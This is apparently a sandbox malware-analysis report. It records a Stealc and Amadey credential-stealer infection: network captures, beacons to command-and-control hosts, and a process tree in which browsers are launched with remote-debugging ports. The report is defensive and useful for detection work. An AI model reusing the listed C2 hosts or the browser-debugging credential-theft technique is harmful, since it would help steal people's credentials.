2024-12-18 14:20:52 UTC	372	IN	Data Raw: 31 33 38 36 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1386)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-18 14:20:52 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-18 14:20:52 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-18 14:20:52 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-18 14:20:52 UTC	464	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-18 14:20:52 UTC	943	IN	Data Raw: 33 61 38 0d 0a 64 65 72 3a 6e 6f 6e 65 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 5c 5c 39 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 69 6d 61 67 65 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 76 67 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 20 67 62 5f 6f 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 Data Ascii: 3a8der:none;display:none \\9\"\u003e\u003c\/image\u003e\u003c\/svg\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_a gb_od\"\u003e\u003c\/div\u003e\u003c
2024-12-18 14:20:52 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 34 32 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 Data Ascii: 8000ent","metadata":{"bar_height":60,"experiment_id":[3700242,3700949,3701384,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var
2024-12-18 14:20:52 UTC	1390	IN	Data Raw: 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 46 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 48 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 49 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 Data Ascii: \u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Gd\u003dfunction(a){return new _.Fd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Hd\u003dglobalThis.trustedTypes;_.Id\u003dclass{constructor(a
2024-12-18 14:20:52 UTC	1390	IN	Data Raw: 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 57 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 59 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 58 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 Data Ascii: a.i;throw Error(\"F\");};_.Xd\u003dfunction(a){if(Wd.test(a))return a};_.Yd\u003dfunction(a){if(a instanceof _.Id)if(a instanceof _.Id)a\u003da.i;else throw Error(\"F\");else a\u003d_.Xd(a);return a};_.Zd\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(
2024-12-18 14:20:52 UTC	1390	IN	Data Raw: 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 79 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 Data Ascii: (b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.ke\u003dfunction(a,b){_.yb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	142.250.181.132	443	7200	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:20:51 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 14:20:52 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 18 Dec 2024 14:20:51 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-18 14:20:52 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-18 14:20:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49919	104.21.12.88	443	4276	C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:22:18 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lossekniyyt.click
2024-12-18 14:22:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 14:22:19 UTC	1043	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:22:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v5gpogb5cq9hqcgccil23uul31; expires=Sun, 13-Apr-2025 08:08:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gT5IdtS42EvnV%2FgrQ4Y2z1eLQ4l2kkC0qlLu8KszJa6%2BoCO19CnNSFsSzLcgGdcSfzmKuBzKgoppibT9b1ArNkxWfrYM2GZgHJcZSCQf10R578EivzoxZUQmxbJ%2B5IXh%2BQXAKA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3fcde7490b6a5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1916&min_rtt=1866&rtt_var=799&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=908&delivery_rate=1288614&cwnd=204&unsent_bytes=0&cid=ff82858d423937f4&ts=1054&x=0"
2024-12-18 14:22:19 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 14:22:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49927	172.67.179.109	443	3596	C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:22:36 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 14:22:36 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 14:22:37 UTC	1031	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1nop47q8pnkeusqv8s0hgcbuje; expires=Sun, 13-Apr-2025 08:09:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DgMnLKwCCI0II1Tln7BXxg%2B4rqMshBqrsU6rTWTG2vUHu5AthqrjN2PqPWACxz0BbT%2F6doUthy0drG8ut95ICWlXr7S8SfCWhK6itq50vUZhZ%2B6u2jIG16UP6o5Qj%2BMv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3fce59be0472c2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2992&min_rtt=1822&rtt_var=1519&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1602634&cwnd=164&unsent_bytes=0&cid=9b2cd56872b79e57&ts=892&x=0"
2024-12-18 14:22:37 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 14:22:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:20:34
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\random.exe.7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\random.exe.7.exe"
Imagebase:	0xe50000
File size:	2'913'280 bytes
MD5 hash:	A91E703F6E05180D79CB0693D4DE870D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2686782883.0000000000E51000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2072783452.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2685829562.000000000044E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2686782883.0000000000F24000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:20:46
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:20:47
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2836 --field-trial-handle=2792,i,8238096719561330086,77332189413184647,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:20:57
Start date:	18/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:20:57
Start date:	18/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2240,i,9592498123646239590,711369988122974242,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:20:57
Start date:	18/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:20:58
Start date:	18/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2076,i,11423175788337497265,15445402632452317473,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:21:35
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\BKKFCFBKFC.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:21:35
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:21:35
Start date:	18/12/2024
Path:	C:\Users\user\Documents\BKKFCFBKFC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\BKKFCFBKFC.exe"
Imagebase:	0x20000
File size:	2'956'800 bytes
MD5 hash:	3A61C20A67DE482B185AB4698AA6B4E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.2677929043.0000000004650000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2718696114.0000000000021000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:21:37
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd00000
File size:	2'956'800 bytes
MD5 hash:	3A61C20A67DE482B185AB4698AA6B4E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2751059982.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2710537857.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

